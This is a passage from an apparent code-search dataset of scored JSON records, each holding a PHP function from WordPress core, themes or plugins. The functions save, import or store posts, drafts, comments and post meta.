posts or drafts on this blog.' ) );\n\t}\n\n\n\t// Check for autosave collisions\n\t$temp_id = false;\n\tif ( isset($_POST['temp_ID']) ) {\n\t\t$temp_id = (int) $_POST['temp_ID'];\n\t\tif ( !$draft_ids = get_user_option( 'autosave_draft_ids' ) )\n\t\t\t$draft_ids = array();\n\t\tforeach ( $draft_ids as $temp => $real )\n\t\t\tif ( time() + $temp > 86400 ) // 1 day: $temp is equal to -1 * time( then )\n\t\t\t\tunset($draft_ids[$temp]);\n\n\t\tif ( isset($draft_ids[$temp_id]) ) { // Edit, don't write\n\t\t\t$_POST['post_ID'] = $draft_ids[$temp_id];\n\t\t\tunset($_POST['temp_ID']);\n\t\t\tupdate_user_option( $user_ID, 'autosave_draft_ids', $draft_ids );\n\t\t\treturn edit_post();\n\t\t}\n\t}\n\n\t// Rename.\n\t$_POST['post_content'] = $_POST['content'];\n\t$_POST['post_excerpt'] = $_POST['excerpt'];\n\t$_POST['post_parent'] = $_POST['parent_id'];\n\t$_POST['to_ping'] = $_POST['trackback_url'];\n\n\tif (!empty ( $_POST['post_author_override'] ) ) {\n\t\t$_POST['post_author'] = (int) $_POST['post_author_override'];\n\t} else {\n\t\tif (!empty ( $_POST['post_author'] ) ) {\n\t\t\t$_POST['post_author'] = (int) $_POST['post_author'];\n\t\t} else {\n\t\t\t$_POST['post_author'] = (int) $_POST['user_ID'];\n\t\t}\n\n\t}\n\n\tif ( $_POST['post_author'] != $_POST['user_ID'] ) {\n\t\tif ( 'page' == $_POST['post_type'] ) {\n\t\t\tif ( !current_user_can( 'edit_others_pages' ) )\n\t\t\t\treturn new WP_Error( 'edit_others_pages', __( 'You are not allowed to create pages as this user.' ) );\n\t\t} else {\n\t\t\tif ( !current_user_can( 'edit_others_posts' ) )\n\t\t\t\treturn new WP_Error( 'edit_others_posts', __( 'You are not allowed to post as this user.' ) );\n\n\t\t}\n\t}\n\n\t// What to do based on which button they pressed\n\tif ('' != $_POST['saveasdraft'] )\n\t\t$_POST['post_status'] = 'draft';\n\tif ('' != $_POST['saveasprivate'] )\n\t\t$_POST['post_status'] = 'private';\n\tif ('' != $_POST['publish'] )\n\t\t$_POST['post_status'] = 'publish';\n\tif ('' != $_POST['advanced'] )\n\t\t$_POST['post_status'] = 'draft';\n\n\tif ( 'page' == $_POST['post_type'] ) {\n\t\tif ('publish' == $_POST['post_status'] && !current_user_can( 'publish_pages' ) )\n\t\t\t$_POST['post_status'] = 'pending';\n\t} else {\n\t\tif ('publish' == $_POST['post_status'] && !current_user_can( 'publish_posts' ) )\n\t\t\t$_POST['post_status'] = 'pending';\n\t}\n\n\tif (!isset( $_POST['comment_status'] ))\n\t\t$_POST['comment_status'] = 'closed';\n\n\tif (!isset( $_POST['ping_status'] ))\n\t\t$_POST['ping_status'] = 'closed';\n\n\tif (!empty ( $_POST['edit_date'] ) ) {\n\t\t$aa = $_POST['aa'];\n\t\t$mm = $_POST['mm'];\n\t\t$jj = $_POST['jj'];\n\t\t$hh = $_POST['hh'];\n\t\t$mn = $_POST['mn'];\n\t\t$ss = $_POST['ss'];\n\t\t$jj = ($jj > 31 ) ? 31 : $jj;\n\t\t$hh = ($hh > 23 ) ? $hh -24 : $hh;\n\t\t$mn = ($mn > 59 ) ? $mn -60 : $mn;\n\t\t$ss = ($ss > 59 ) ? $ss -60 : $ss;\n\t\t$_POST['post_date'] = sprintf( \"%04d-%02d-%02d %02d:%02d:%02d\", $aa, $mm, $jj, $hh, $mn, $ss );\n\t\t$_POST['post_date_gmt'] = get_gmt_from_date( $_POST['post_date'] );\n\t}\n\n\t// Create the post.\n\t$post_ID = wp_insert_post( $_POST );\n\tif ( is_wp_error( $post_ID ) )\n\t\treturn $post_ID;\n\n\tif ( empty($post_ID) )\n\t\treturn 0;\n\n\tadd_meta( $post_ID );\n\n\t// Reunite any orphaned attachments with their parent\n\tif ( !$draft_ids = get_user_option( 'autosave_draft_ids' ) )\n\t\t$draft_ids = array();\n\tif ( $draft_temp_id = (int) array_search( $post_ID, $draft_ids ) )\n\t\t_relocate_children( $draft_temp_id, $post_ID );\n\tif ( $temp_id && $temp_id != $draft_temp_id )\n\t\t_relocate_children( $temp_id, $post_ID );\n\n\t// Update autosave collision detection\n\tif ( $temp_id ) {\n\t\t$draft_ids[$temp_id] = $post_ID;\n\t\tupdate_user_option( $user_ID, 'autosave_draft_ids', $draft_ids );\n\t}\n\n\t// Now that we have an ID we can fix any attachment anchor hrefs\n\t_fix_attachment_links( $post_ID );\n\n\treturn $post_ID;\n}", "title": "" }, { "docid": "b48e1fd35f1deb393845989285103259", "score": "0.5780167", "text": "function create_demo_import_content() {\n\t\tset_time_limit(0);\n\n\t\tif (!defined('WP_LOAD_IMPORTERS')) define('WP_LOAD_IMPORTERS', true);\n\n\t\trequire_once(get_template_directory().'/inc/demo-import/wordpress-importer/wordpress-importer.php');\n\n\t\t$wp_import = new WP_Import();\n\t\t$wp_import->fetch_attachments = true;\n\n\t\tob_start();\n\t\t$wp_import->import(get_template_directory().'/inc/demo-import/demo-content/create-content.xml');\n\t\tob_end_clean();\n\n\t\t// Set Menu Locations\n\t\t$locations = get_theme_mod('nav_menu_locations');\n\t\t$menus = wp_get_nav_menus();\n\n\t\tif(!empty($menus)) {\n\t\t\tforeach($menus as $menu) {\n\t\t\t\tif(is_object($menu) && $menu->name == 'Main Menu') {\n\t\t\t\t\t$locations['primary'] = $menu->term_id;\n\t\t\t\t\t$locations['slide_panel_mobile'] = $menu->term_id;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tset_theme_mod('nav_menu_locations', $locations);\n\n\t\t// Set Front Page\n\t\t$front_page = get_page_by_title('Home: Agency');\n\n\t\tif(isset($front_page->ID)) {\n\t\t\tupdate_option('show_on_front', 'page');\n\t\t\tupdate_option('page_on_front', $front_page->ID);\n\t\t}\n\n\t\techo 'ok';\n\t\tdie();\n\n\t}", "title": "" }, { "docid": "16e7da15370815b14f915402d52e1493", "score": "0.5776889", "text": "function tve_leads_save_editor_content() {\n\t$post_id = (int) $_POST['post_id'];\n\t$variation_key = (int) $_POST['_key'];\n\n\t$invalid_request = array(\n\t\t'success' => false,\n\t\t'message' => __( 'Invalid request', 'thrive-leads' ),\n\t);\n\n\tif ( empty( $post_id ) || ! current_user_can( 'edit_post', $post_id ) || empty( $variation_key ) ) {\n\t\treturn $invalid_request;\n\t}\n\tif ( ob_get_contents() ) {\n\t\tob_clean();\n\t}\n\n\t$variation = tve_leads_get_form_variation( $post_id, $variation_key );\n\tif ( empty( $variation ) ) {\n\t\treturn $invalid_request;\n\t}\n\n\ttve_leads_save_optimized_assets( $post_id, $variation_key );\n\n\t/* using wp_unslash will break api connections based on their settings */\n\t$variation[ TVE_LEADS_FIELD_SAVED_CONTENT ] = $_POST['tve_content'];\n\t$variation[ TVE_LEADS_FIELD_INLINE_CSS ] = trim( $_POST['inline_rules'] );\n\t$variation[ TVE_LEADS_FIELD_USER_CSS ] = $_POST['tve_custom_css'];\n\t$variation[ TVE_LEADS_FIELD_GLOBALS ] = ! empty( $_POST['tve_globals'] ) ? $_POST['tve_globals'] : array( 'e' => 1 );\n\t$variation[ TVE_LEADS_FIELD_CUSTOM_FONTS ] = tve_leads_get_custom_font_links( empty( $_POST['custom_font_classes'] ) ? array() : $_POST['custom_font_classes'] );\n\t$variation[ TVE_LEADS_FIELD_ICON_PACK ] = empty( $_POST['has_icons'] ) ? 0 : 1;\n\t$variation[ TVE_LEADS_FIELD_HAS_MASONRY ] = empty( $_POST['tve_has_masonry'] ) ? 0 : 1;\n\t$variation[ TVE_LEADS_FIELD_HAS_TYPEFOCUS ] = empty( $_POST['tve_has_typefocus'] ) ? 0 : 1;\n\t$variation[ TVE_LEADS_FIELD_FORM_HEIGHT ] = empty( $_POST[ TVE_LEADS_FIELD_FORM_HEIGHT ] ) ? [] : $_POST[ TVE_LEADS_FIELD_FORM_HEIGHT ];\n\n\t/**\n\t * UPDATE 19.11.2015 - the custom CSS will be saved in the parent form\n\t */\n\tif ( ! empty( $variation['parent_id'] ) && ( $parent_state = tve_leads_get_form_variation( null, $variation['parent_id'] ) ) ) {\n\t\t$parent_state[ TVE_LEADS_FIELD_USER_CSS ] = $_POST['tve_custom_css'];\n\t\t$variation[ TVE_LEADS_FIELD_USER_CSS ] = '';\n\n\t\ttve_leads_save_form_variation( $parent_state );\n\t}\n\n\t/**\n\t * always re-generate CSS IDs for elements inside the variation - conflicts can occur on pages where multiple Lead Forms are shown\n\t */\n\tThrive_Leads_State_Manager::instance( $variation )->regenerate_css_ids( $variation );\n\n\ttve_leads_save_form_variation( $variation );\n\n\treturn array(\n\t\t'success' => true,\n\t);\n}", "title": "" }, { "docid": "43d087e21ff81b29ccf9033e9fc1e398", "score": "0.5769302", "text": "function process_posts() {\n\t\t$this->posts = apply_filters( 'wp_import_posts', $this->posts );\n\n\t\t// Count total images\n\t\tforeach ( $this->posts as $post ) {\n\t\t\n\t\t\t$post = apply_filters( 'wp_import_post_data_raw', $post );\n\n\t\t\tif ( isset( $this->processed_posts[$post['post_id']] ) && ! empty( $post['post_id'] ) )continue;\n\n\t\t\tif ( $post['status'] == 'auto-draft' )continue;\n\n\t\t\tif ( 'nav_menu_item' == $post['post_type'] ) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\t$post_type_object = get_post_type_object( $post['post_type'] );\n\n\t\t\t$post_exists = post_exists( $post['post_title'], '', $post['post_date'] );\n\t\t\tif ( get_post_type( $post_exists ) != $post['post_type'] ) {\n\n\t\t\t\t$postdata = array(\n\t\t\t\t\t'import_id' => $post['post_id'], \n\t\t\t\t\t'post_author' => !empty($author)?$author:'', \n\t\t\t\t\t'post_date' => $post['post_date'],\n\t\t\t\t\t'post_date_gmt' => $post['post_date_gmt'], \n\t\t\t\t\t'post_content' => $post['post_content'],\n\t\t\t\t\t'post_excerpt' => $post['post_excerpt'],\n\t\t\t\t\t'post_title' => $post['post_title'],\n\t\t\t\t\t'post_status' => $post['status'],\n\t\t\t\t\t'post_name' => $post['post_name'],\n\t\t\t\t\t'comment_status' => $post['comment_status'],\n\t\t\t\t\t'ping_status' => $post['ping_status'],\n\t\t\t\t\t'guid' => $post['guid'],\n\t\t\t\t\t'post_parent' => !empty($post_parent)?$post_parent:'',\n\t\t\t\t\t'menu_order' => $post['menu_order'],\n\t\t\t\t\t'post_type' => $post['post_type'], \n\t\t\t\t\t'post_password' => $post['post_password']\n\t\t\t\t);\n\n\t\t\t\t$original_post_ID = $post['post_id'];\n\t\t\t\t$postdata = apply_filters( 'wp_import_post_data_processed', $postdata, $post );\n\n\t\t\t\tif ( 'attachment' == $postdata['post_type'] ) {\n\t\t\t\t\t$this->totalImages++;\n\t\t\t\t}\n\t\t\t}\t\n\t\t}\n\n\t\tforeach ( $this->posts as $post ) {\n\t\t\n\t\t\t$post = apply_filters( 'wp_import_post_data_raw', $post );\n\n\n\t\t\tif ( isset( $this->processed_posts[$post['post_id']] ) && ! empty( $post['post_id'] ) )\n\t\t\t\tcontinue;\n\n\t\t\tif ( $post['status'] == 'auto-draft' )\n\t\t\t\tcontinue;\n\t\t\t\n\t\t\tif ( 'nav_menu_item' == $post['post_type'] ) {\n\t\t\t\t\n\t\t\t\t$this->process_menu_item( $post );\n\t\t\t\t\n\t\t\t\tcontinue;\n\t\t\t}else if( $post['post_type'] == 'page' ){\n\t\t\t\techo '<script type=\"text/javascript\">tstatus( \\'Adding Page <b>'.$post['post_title'].'</b>\\' );</script>';\n\t\t\t}else if( $post['post_type'] != 'attachment' ){\n\t\t\t\techo '<script type=\"text/javascript\">tstatus( \\'Adding Custom Post Type <b>'.$post['post_type'].'</b>\\' );</script>';\n\t\t\t}\t\n\t\t\t\t\n\t\t\t@ob_flush();\n\t\t\t@flush();\n\n\t\t\t$post_type_object = get_post_type_object( $post['post_type'] );\n\n\t\t\t$post_exists = post_exists( $post['post_title'], '', $post['post_date'] );\n\t\t\t\n\t\t\tif ( $post_exists && get_post_type( $post_exists ) == $post['post_type'] ) {\n\t\t\t\t$comment_post_ID = $post_id = $post_exists;\n\t\t\t} else {\n\t\t\t\n\t\t\t\t$post_parent = (int) $post['post_parent'];\n\t\t\t\tif ( $post_parent ) {\n\t\t\t\t\t// if we already know the parent, map it to the new local ID\n\t\t\t\t\tif ( isset( $this->processed_posts[$post_parent] ) ) {\n\t\t\t\t\t\t$post_parent = $this->processed_posts[$post_parent];\n\t\t\t\t\t// otherwise record the parent for later\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$this->post_orphans[intval($post['post_id'])] = $post_parent;\n\t\t\t\t\t\t$post_parent = 0;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// map the post author\n\t\t\t\t$author = sanitize_user( $post['post_author'], true );\n\t\t\t\tif ( isset( $this->author_mapping[$author] ) )\n\t\t\t\t\t$author = $this->author_mapping[$author];\n\t\t\t\telse\n\t\t\t\t\t$author = (int) get_current_user_id();\n\n\t\t\t\t$postdata = array(\n\t\t\t\t\t'import_id' => $post['post_id'], 'post_author' => $author, 'post_date' => $post['post_date'],\n\t\t\t\t\t'post_date_gmt' => $post['post_date_gmt'], 'post_content' => $post['post_content'],\n\t\t\t\t\t'post_excerpt' => $post['post_excerpt'], 'post_title' => $post['post_title'],\n\t\t\t\t\t'post_status' => $post['status'], 'post_name' => $post['post_name'],\n\t\t\t\t\t'comment_status' => $post['comment_status'], 'ping_status' => $post['ping_status'],\n\t\t\t\t\t'guid' => $post['guid'], 'post_parent' => $post_parent, 'menu_order' => $post['menu_order'],\n\t\t\t\t\t'post_type' => $post['post_type'], 'post_password' => $post['post_password']\n\t\t\t\t);\n\n\t\t\t\t$original_post_ID = $post['post_id'];\n\t\t\t\t$postdata = apply_filters( 'wp_import_post_data_processed', $postdata, $post );\n\n\t\t\t\tif ( 'attachment' == $postdata['post_type'] ) {\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t$remote_url = ! empty($post['attachment_url']) ? $post['attachment_url'] : $post['guid'];\n\n\t\t\t\t\t// try to use _wp_attached file for upload folder placement to ensure the same location as the export site\n\t\t\t\t\t// e.g. location is 2003/05/image.jpg but the attachment post_date is 2010/09, see media_handle_upload()\n\t\t\t\t\t$postdata['upload_date'] = $post['post_date'];\n\t\t\t\t\tif ( isset( $post['postmeta'] ) ) {\n\t\t\t\t\t\tforeach( $post['postmeta'] as $meta ) {\n\t\t\t\t\t\t\tif ( $meta['key'] == '_wp_attached_file' ) {\n\t\t\t\t\t\t\t\tif ( preg_match( '%^[0-9]{4}/[0-9]{2}%', $meta['value'], $matches ) )\n\t\t\t\t\t\t\t\t\t$postdata['upload_date'] = $matches[0];\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t$comment_post_ID = $post_id = $this->process_attachment( $postdata, $remote_url );\n\n\t\t\t\t\t\n\t\t\t\t} else {\n\t\t\t\t\t$comment_post_ID = $post_id = wp_insert_post( $postdata, true );\n\t\t\t\t\tdo_action( 'wp_import_insert_post', $post_id, $original_post_ID, $postdata, $post );\n\t\t\t\t}\n\n\t\t\t\tif ( is_wp_error( $post_id ) ) {\n\t\t\t\t\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\n\t\t\t\tif ( $post['is_sticky'] == 1 )\n\t\t\t\t\tstick_post( $post_id );\n\t\t\t}\n\n\t\t\t// map pre-import ID to local ID\n\t\t\t$this->processed_posts[intval($post['post_id'])] = (int) $post_id;\n\n\t\t\tif ( ! isset( $post['terms'] ) )\n\t\t\t\t$post['terms'] = array();\n\n\t\t\t$post['terms'] = apply_filters( 'wp_import_post_terms', $post['terms'], $post_id, $post );\n\n\t\t\t// add categories, tags and other terms\n\t\t\tif ( ! empty( $post['terms'] ) ) {\n\t\t\t\t$terms_to_set = array();\n\t\t\t\tforeach ( $post['terms'] as $term ) {\n\t\t\t\t\t// back compat with WXR 1.0 map 'tag' to 'post_tag'\n\t\t\t\t\t$taxonomy = ( 'tag' == $term['domain'] ) ? 'post_tag' : $term['domain'];\n\t\t\t\t\t$term_exists = term_exists( $term['slug'], $taxonomy );\n\t\t\t\t\t$term_id = is_array( $term_exists ) ? $term_exists['term_id'] : $term_exists;\n\t\t\t\t\tif ( ! $term_id ) {\n\t\t\t\t\t\t$t = wp_insert_term( $term['name'], $taxonomy, array( 'slug' => $term['slug'] ) );\n\t\t\t\t\t\tif ( ! is_wp_error( $t ) ) {\n\t\t\t\t\t\t\t$term_id = $t['term_id'];\n\t\t\t\t\t\t\tdo_action( 'wp_import_insert_term', $t, $term, $post_id, $post );\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tdo_action( 'wp_import_insert_term_failed', $t, $term, $post_id, $post );\n\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t$terms_to_set[$taxonomy][] = intval( $term_id );\n\t\t\t\t}\n\n\t\t\t\tforeach ( $terms_to_set as $tax => $ids ) {\n\t\t\t\t\t$tt_ids = wp_set_post_terms( $post_id, $ids, $tax );\n\t\t\t\t\tdo_action( 'wp_import_set_post_terms', $tt_ids, $ids, $tax, $post_id, $post );\n\t\t\t\t}\n\t\t\t\tunset( $post['terms'], $terms_to_set );\n\t\t\t}\n\n\t\t\tif ( ! isset( $post['comments'] ) )\n\t\t\t\t$post['comments'] = array();\n\n\t\t\t$post['comments'] = apply_filters( 'wp_import_post_comments', $post['comments'], $post_id, $post );\n\n\t\t\t// add/update comments\n\t\t\tif ( ! empty( $post['comments'] ) ) {\n\t\t\t\t$num_comments = 0;\n\t\t\t\t$inserted_comments = array();\n\t\t\t\tforeach ( $post['comments'] as $comment ) {\n\t\t\t\t\t$comment_id\t= $comment['comment_id'];\n\t\t\t\t\t$newcomments[$comment_id]['comment_post_ID'] = $comment_post_ID;\n\t\t\t\t\t$newcomments[$comment_id]['comment_author'] = $comment['comment_author'];\n\t\t\t\t\t$newcomments[$comment_id]['comment_author_email'] = $comment['comment_author_email'];\n\t\t\t\t\t$newcomments[$comment_id]['comment_author_IP'] = $comment['comment_author_IP'];\n\t\t\t\t\t$newcomments[$comment_id]['comment_author_url'] = $comment['comment_author_url'];\n\t\t\t\t\t$newcomments[$comment_id]['comment_date'] = $comment['comment_date'];\n\t\t\t\t\t$newcomments[$comment_id]['comment_date_gmt'] = $comment['comment_date_gmt'];\n\t\t\t\t\t$newcomments[$comment_id]['comment_content'] = $comment['comment_content'];\n\t\t\t\t\t$newcomments[$comment_id]['comment_approved'] = $comment['comment_approved'];\n\t\t\t\t\t$newcomments[$comment_id]['comment_type'] = $comment['comment_type'];\n\t\t\t\t\t$newcomments[$comment_id]['comment_parent'] \t = $comment['comment_parent'];\n\t\t\t\t\t$newcomments[$comment_id]['commentmeta'] = isset( $comment['commentmeta'] ) ? $comment['commentmeta'] : array();\n\t\t\t\t\tif ( isset( $this->processed_authors[$comment['comment_user_id']] ) )\n\t\t\t\t\t\t$newcomments[$comment_id]['user_id'] = $this->processed_authors[$comment['comment_user_id']];\n\t\t\t\t}\n\t\t\t\tksort( $newcomments );\n\n\t\t\t\tforeach ( $newcomments as $key => $comment ) {\n\t\t\t\t\t// if this is a new post we can skip the comment_exists() check\n\t\t\t\t\tif ( ! $post_exists || ! comment_exists( $comment['comment_author'], $comment['comment_date'] ) ) {\n\t\t\t\t\t\tif ( isset( $inserted_comments[$comment['comment_parent']] ) )\n\t\t\t\t\t\t\t$comment['comment_parent'] = $inserted_comments[$comment['comment_parent']];\n\t\t\t\t\t\t$comment = wp_filter_comment( $comment );\n\t\t\t\t\t\t$inserted_comments[$key] = wp_insert_comment( $comment );\n\t\t\t\t\t\tdo_action( 'wp_import_insert_comment', $inserted_comments[$key], $comment, $comment_post_ID, $post );\n\n\t\t\t\t\t\tforeach( $comment['commentmeta'] as $meta ) {\n\t\t\t\t\t\t\t$value = maybe_unserialize( $meta['value'] );\n\t\t\t\t\t\t\tadd_comment_meta( $inserted_comments[$key], $meta['key'], $value );\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t$num_comments++;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tunset( $newcomments, $inserted_comments, $post['comments'] );\n\t\t\t}\n\n\t\t\tif ( ! isset( $post['postmeta'] ) )\n\t\t\t\t$post['postmeta'] = array();\n\n\t\t\t$post['postmeta'] = apply_filters( 'wp_import_post_meta', $post['postmeta'], $post_id, $post );\n\n\t\t\t// add/update post meta\n\t\t\tif ( ! empty( $post['postmeta'] ) ) {\n\t\t\t\tforeach ( $post['postmeta'] as $meta ) {\n\t\t\t\t\t$key = apply_filters( 'import_post_meta_key', $meta['key'], $post_id, $post );\n\t\t\t\t\t$value = false;\n\n\t\t\t\t\tif ( '_edit_last' == $key ) {\n\t\t\t\t\t\tif ( isset( $this->processed_authors[intval($meta['value'])] ) )\n\t\t\t\t\t\t\t$value = $this->processed_authors[intval($meta['value'])];\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t$key = false;\n\t\t\t\t\t}\n\n\t\t\t\t\tif ( $key ) {\n\t\t\t\t\t\t// export gets meta straight from the DB so could have a serialized string\n\t\t\t\t\t\tif ( ! $value )\n\t\t\t\t\t\t\t$value = maybe_unserialize( $meta['value'] );\n\t\t\t\t\t\tif ( ! $value )\n\t\t\t\t\t\t\t$value = maybe_unserialize( str_replace( \"\\n\", ' '.\"\\n\", $meta['value'] ) );\n\t\t\t\t\t\t\t\n\t\t\t\t\t\tif( !empty( $value ) ){\n\t\t\t\t\t\t\tif( get_post_meta( $post_id, $key ) === false ){\n\t\t\t\t\t\t\t\tadd_post_meta( $post_id, $key, $value );\n\t\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t\tupdate_post_meta( $post_id, $key, $value );\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\t\n\t\t\t\t\t\t//do_action( 'import_post_meta', $post_id, $key, $value );\n\n\t\t\t\t\t\t// if the post has a featured image, take note of this in case of remap\n\t\t\t\t\t\tif ( '_thumbnail_id' == $key )\n\t\t\t\t\t\t\t$this->featured_images[$post_id] = (int) $value;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tunset( $this->posts );\n\t}", "title": "" }, { "docid": "0e310ba08c2b40ff071e7d6ed1b9f99e", "score": "0.576714", "text": "public function guardarPost(){\n\t\t\t$archivo = fopen(\"../data/memes.csv\", \"a+\");\n\t\t\tfwrite( $archivo, \n\t\t\t\t\t$this->codigoPost.\",\".\n\t\t\t\t\t$this->descripcion.\",\".\n\t\t\t\t\t$this->usuario.\",\".\n\t\t\t\t\t$this->calificacion.\",\".\n\t\t\t\t\t$this->urlImagen.\"\\n\"\n\t\t\t);\n\t\t\tfclose($archivo);\n\t\t}", "title": "" }, { "docid": "3246099c38d156a471044ec4e81a456a", "score": "0.5731086", "text": "public function save_post( $post_id ) {\n\t\t\n\t\tif ( defined('DOING_AUTOSAVE') && DOING_AUTOSAVE ) return $post_id;\n\t\t\n\t\tif ( MCGPROJECTPORTFOLIOCPT()->cpt->post_type !== get_post_type( $post_id ) ) return $post_id;\n\t\t\n\t\t$fields = array(\n\t\t\t'project_client',\n\t\t\t'project_grade',\n\t\t\t'project_date',\n\t\t\t'project_thumbnail',\n\t\t);\n\t\t\n\t\tforeach ( $fields as $field ) {\n\t\t\t\n\t\t\t$value = $_POST[ $field ];\n\t\t\t\n\t\t\tupdate_post_meta( $post_id, $field, $_POST[ $field ] );\n\t\t\t\n\t\t}\n\t\t\n\t}", "title": "" }, { "docid": "fe4558a097e39c5fe1d2140696d5d46a", "score": "0.57309437", "text": "function gp4_save_postdata( $post_id ) {\n\n // First we need to check if the current user is authorised to do this action:\n if ( 'page' == $_POST['post_type'] ) {\n if ( ! current_user_can( 'edit_page', $post_id ) )\n return;\n } else {\n if ( ! current_user_can( 'edit_post', $post_id ) )\n return;\n }\n\n // Secondly we need to check if the user intended to change something:\n if ( ! isset( $_POST['gp4_noncename'] ) || ! wp_verify_nonce( $_POST['gp4_noncename'], plugin_basename( __FILE__ ) ) )\n return;\n\n // Thirdly we can save the value to the database:\n\n $kses_allowed_tags = array(\n 'p', 'div', 'span', 'strong', 'em',\n );\n\n // If saving in a custom table, get post_ID:\n $post_ID = $_POST['post_ID'];\n // Sanitize user input:\n // Slogan:\n $gp4_slogan = sanitize_text_field( $_POST['_gp4_slogan'] );\n // Hero:\n $gp4_hero_title = sanitize_text_field( $_POST['_gp4_hero_title'] );\n $gp4_hero_subtitle = sanitize_text_field( $_POST['_gp4_hero_subtitle'] );\n $gp4_hero_button_url = sanitize_url( $_POST['_gp4_hero_button_url'] );\n $gp4_hero_button_title = sanitize_text_field( $_POST['_gp4_hero_button_title'] );\n // Featured Column 1:\n $gp4_featured_column_one_title = sanitize_text_field( $_POST['_gp4_featured_column_one_title'] );\n $gp4_featured_column_one_content = wp_kses( $_POST['_gp4_featured_column_one_content'], $kses_allowed_tags );\n $gp4_featured_column_one_button_url = sanitize_url( $_POST['_gp4_featured_column_one_button_url'] );\n $gp4_featured_column_one_button_title = sanitize_text_field( $_POST['_gp4_featured_column_one_button_title'] );\n // Featured Column 2:\n $gp4_featured_column_two_title = sanitize_text_field( $_POST['_gp4_featured_column_two_title'] );\n $gp4_featured_column_two_content = wp_kses( $_POST['_gp4_featured_column_two_content'], $kses_allowed_tags );\n $gp4_featured_column_two_button_url = sanitize_url( $_POST['_gp4_featured_column_two_button_url'] );\n $gp4_featured_column_two_button_title = sanitize_text_field( $_POST['_gp4_featured_column_two_button_title'] );\n // Featured Column 3:\n $gp4_featured_column_three_title = sanitize_text_field( $_POST['_gp4_featured_column_three_title'] );\n $gp4_featured_column_three_content = wp_kses( $_POST['_gp4_featured_column_three_content'], $kses_allowed_tags );\n $gp4_featured_column_three_button_url = sanitize_url( $_POST['_gp4_featured_column_three_button_url'] );\n $gp4_featured_column_three_button_title = sanitize_text_field( $_POST['_gp4_featured_column_three_button_title'] );\n\n\n // Add the post meta fields to the post:\n // Slogan:\n update_post_meta($post_ID, '_gp4_slogan', $gp4_slogan);\n // Hero:\n update_post_meta($post_ID, '_gp4_hero_title', $gp4_hero_title);\n update_post_meta($post_ID, '_gp4_hero_subtitle', $gp4_hero_subtitle);\n update_post_meta($post_ID, '_gp4_hero_button_url', $gp4_hero_button_url);\n update_post_meta($post_ID, '_gp4_hero_button_title', $gp4_hero_button_title);\n // Featured Column 1:\n update_post_meta($post_ID, '_gp4_featured_column_one_title', $gp4_featured_column_one_title);\n update_post_meta($post_ID, '_gp4_featured_column_one_content', $gp4_featured_column_one_content);\n update_post_meta($post_ID, '_gp4_featured_column_one_button_url', $gp4_featured_column_one_button_url);\n update_post_meta($post_ID, '_gp4_featured_column_one_button_title', $gp4_featured_column_one_button_title);\n // Featured Column 2:\n update_post_meta($post_ID, '_gp4_featured_column_two_title', $gp4_featured_column_two_title);\n update_post_meta($post_ID, '_gp4_featured_column_two_content', $gp4_featured_column_two_content);\n update_post_meta($post_ID, '_gp4_featured_column_two_button_url', $gp4_featured_column_two_button_url);\n update_post_meta($post_ID, '_gp4_featured_column_two_button_title', $gp4_featured_column_two_button_title);\n // Featured Column 3:\n update_post_meta($post_ID, '_gp4_featured_column_three_title', $gp4_featured_column_three_title);\n update_post_meta($post_ID, '_gp4_featured_column_three_content', $gp4_featured_column_three_content);\n update_post_meta($post_ID, '_gp4_featured_column_three_button_url', $gp4_featured_column_three_button_url);\n update_post_meta($post_ID, '_gp4_featured_column_three_button_title', $gp4_featured_column_three_button_title);\n}", "title": "" }, { "docid": "dcbd240bbf53a5b64ecc571d884f29ca", "score": "0.5726711", "text": "private function saveImportedEntity() {\n // Now save the entity.\n $success = $this->contentHubEntitiesTracking->save();\n\n // Log event.\n if (!$success) {\n $args = [\n '%type' => $this->contentHubEntitiesTracking->getEntityType(),\n '%uuid' => $this->contentHubEntitiesTracking->getUuid(),\n ];\n $message = $this->t('Imported entity type = %type with uuid=%uuid could not be saved in the tracking table.', $args);\n }\n else {\n $args = [\n '%type' => $this->contentHubEntitiesTracking->getEntityType(),\n '%uuid' => $this->contentHubEntitiesTracking->getUuid(),\n ];\n $message = $this->t('Saving %type entity with uuid=%uuid. Tracking imported entity with auto updates.', $args);\n }\n $this->loggerFactory->get('acquia_contenthub')->debug($message);\n }", "title": "" }, { "docid": "def797360786a2bcaa7a83994ffaadf1", "score": "0.5714381", "text": "function sp_save_postdata($post_id, $post) {\n global $sp_boxes;\n\n // verify this came from the our screen and with proper authorization,\n // because save_post can be triggered at other times\n if ( ! wp_verify_nonce( $_POST['sp_nonce_name'], plugin_basename(__FILE__) ) ) {\n return $post->ID;\n }\n\n // Is the user allowed to edit the post or page?\n if ( 'page' == $_POST['post_type'] ) {\n if ( ! current_user_can( 'edit_page', $post->ID ))\n return $post->ID;\n\n } else {\n if ( ! current_user_can( 'edit_post', $post->ID ))\n return $post->ID;\n }\n\n // OK, we're authenticated: we need to find and save the data\n // We'll put it into an array to make it easier to loop though.\n\n // The data is already in $sp_boxes, but we need to flatten it out.\n foreach ( $sp_boxes as $sp_box ) {\n foreach ( $sp_box as $sp_fields ) {\n $my_data[$sp_fields[0]] = $_POST[$sp_fields[0]];\n }\n }\n\n // Add values of $my_data as custom fields\n // Let's cycle through the $my_data array!\n foreach ($my_data as $key => $value) {\n if ( 'revision' == $post->post_type ) {\n // don't store custom data twice\n return;\n }\n\n // if $value is an array, make it a CSV (unlikely)\n $value = implode(',', (array)$value);\n\n if ( get_post_meta($post->ID, $key, FALSE) ) {\n\n // Custom field has a value.\n update_post_meta($post->ID, 